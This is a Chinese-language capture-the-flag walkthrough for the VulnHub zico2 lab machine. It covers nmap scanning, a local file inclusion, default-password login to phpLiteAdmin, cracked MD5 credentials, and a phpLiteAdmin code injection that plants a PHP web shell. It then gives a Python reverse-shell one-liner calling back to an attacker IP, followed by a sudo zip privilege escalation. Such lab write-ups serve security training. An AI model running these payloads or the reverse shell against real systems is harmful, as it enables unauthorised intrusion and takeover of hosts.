1.信息收集-查看kali的ip地址

VulnHub之zico2靶机_python

目标靶机与kali在同一网段,使用nmap对所在网段进行扫描,探测主机

VulnHub之zico2靶机_python_02

判断192.168.115.212是靶机的ip,使用nmap对靶机进行端口扫描,可以看到开放了22(ssh),80(http)和111(rpcbind)端口。

访问靶机开放的网站

VulnHub之zico2靶机_靶机_03

在对页面进行多次点击后,发现一处url如下,有可能存在文件包含

VulnHub之zico2靶机_VulnHub_04

VulnHub之zico2靶机_VulnHub_05

在地址栏将page的值改为../../../../../etc/passwd,页面展示了该文件的内容,说明确实存在文件包含漏洞

利用dirsearch工具扫描网站目录

VulnHub之zico2靶机_VulnHub_06

VulnHub之zico2靶机_python_07

扫描出来了一个貌似数据库管理页面/dbadmin,访问一下

是一个目录,有个test_db.php文件,点击访问

VulnHub之zico2靶机_VulnHub_08

是phpLiteAdmin的登陆界面,百度下该管理系统的默认密码,查询到默认密码是“admin”,尝试登陆。

VulnHub之zico2靶机_靶机_09

查询数据库内容,发现了root和zico的用户名和密码,密码格式为32位长度的16进制字符串,很明显是md5值,可以通过一个网站MD5尝试得到密码明文

root--------34kroot34
zico--------zico2215@

利用该账号密码尝试SSH远程登陆,全部失败

在kali查询phpLiteAdmin有没有可利用的漏洞,结果显示1.9.3版本存在远程php代码注入漏洞,下面进行漏洞利用

VulnHub之zico2靶机_python_10

在刚才的phpLiteAdmin管理页面创建一个hack.php数据库,再在该数据库下创建一个名称为a的表,一个字段

字段名称为code,默认值为<?php phpinfo();?>,插入一行内容

访问创建的数据库,页面成功显示phpinfo信息

2.WebShell

上一步成功显示了phpinfo信息说明漏洞可以利用,将刚才创建的表a删除,重新创建表b,字段名称为code,默认值为<?php echo system($_GET["pass"]);?>

使用kaili监听4444端口

VulnHub之zico2靶机_靶机_11

使用python代码来反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.133",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

回到kali命令行,可以看到反弹shell成功,但此时并不是root权限,此时身份是www-data

VulnHub之zico2靶机_VulnHub_12

当拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当想使用vim、top等命令时,webshell就无能为力了。我们可以通过python进入tty

python -c 'import pty;pty.spawn("/bin/bash")'

VulnHub之zico2靶机_python_13

在zico的家目录中找到wordpress,这是一个免费开源的建站程序,进行该目录,查看wp-config.php

在该文件中找到了zico的数据库密码

VulnHub之zico2靶机_VulnHub_14

切换到zico用户

VulnHub之zico2靶机_VulnHub_15

3.提权

使用sudo -l查看zico用户在tar和zip的用户组里面,可以尝试zip提权

VulnHub之zico2靶机_VulnHub_16

在/tmp目录下创建一个空文件,运行如下指令,通过zip运行Linux指令,获取root权限,在/root目录下成功获取到flag

VulnHub之zico2靶机_VulnHub_17